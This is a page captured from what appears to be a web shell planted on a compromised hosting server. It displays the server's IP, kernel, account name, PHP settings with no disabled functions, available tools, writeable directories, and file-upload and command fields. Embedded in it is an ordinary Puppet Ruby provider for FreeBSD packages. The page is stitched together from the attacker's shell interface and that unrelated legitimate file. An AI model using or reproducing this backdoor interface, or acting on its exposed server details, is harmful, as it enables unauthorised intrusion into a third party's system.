403Webshell
Server IP : 172.67.158.161  /  Your IP : 18.119.110.139
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/package/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/package/freebsd.rb
Puppet::Type.type(:package).provide :freebsd, :parent => :openbsd do
  desc "The specific form of package management on FreeBSD.  This is an
    extremely quirky packaging system, in that it freely mixes between
    ports and packages.  Apparently all of the tools are written in Ruby,
    so there are plans to rewrite this support to directly use those
    libraries."

  commands :pkginfo => "/usr/sbin/pkg_info",
    :pkgadd => "/usr/sbin/pkg_add",
    :pkgdelete => "/usr/sbin/pkg_delete"

  confine :operatingsystem => :freebsd

  def self.listcmd
    command(:pkginfo)
  end

  def install
    if @resource[:source] =~ /\/$/
      if @resource[:source] =~ /^(ftp|https?):/
        Puppet::Util.withenv :PACKAGESITE => @resource[:source] do
          pkgadd "-r", @resource[:name]
        end
      else
        Puppet::Util.withenv :PKG_PATH => @resource[:source] do
          pkgadd @resource[:name]
        end
      end
    else
      Puppet.warning _("source is defined but does not have trailing slash, ignoring %{source}") % { source: @resource[:source] } if @resource[:source]
      pkgadd "-r", @resource[:name]
    end
  end

  def query
    self.class.instances.each do |provider|
      if provider.name == @resource.name
        return provider.properties
      end
    end
    nil
  end

  def uninstall
    pkgdelete "#{@resource[:name]}-#{@resource.should(:ensure)}"
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit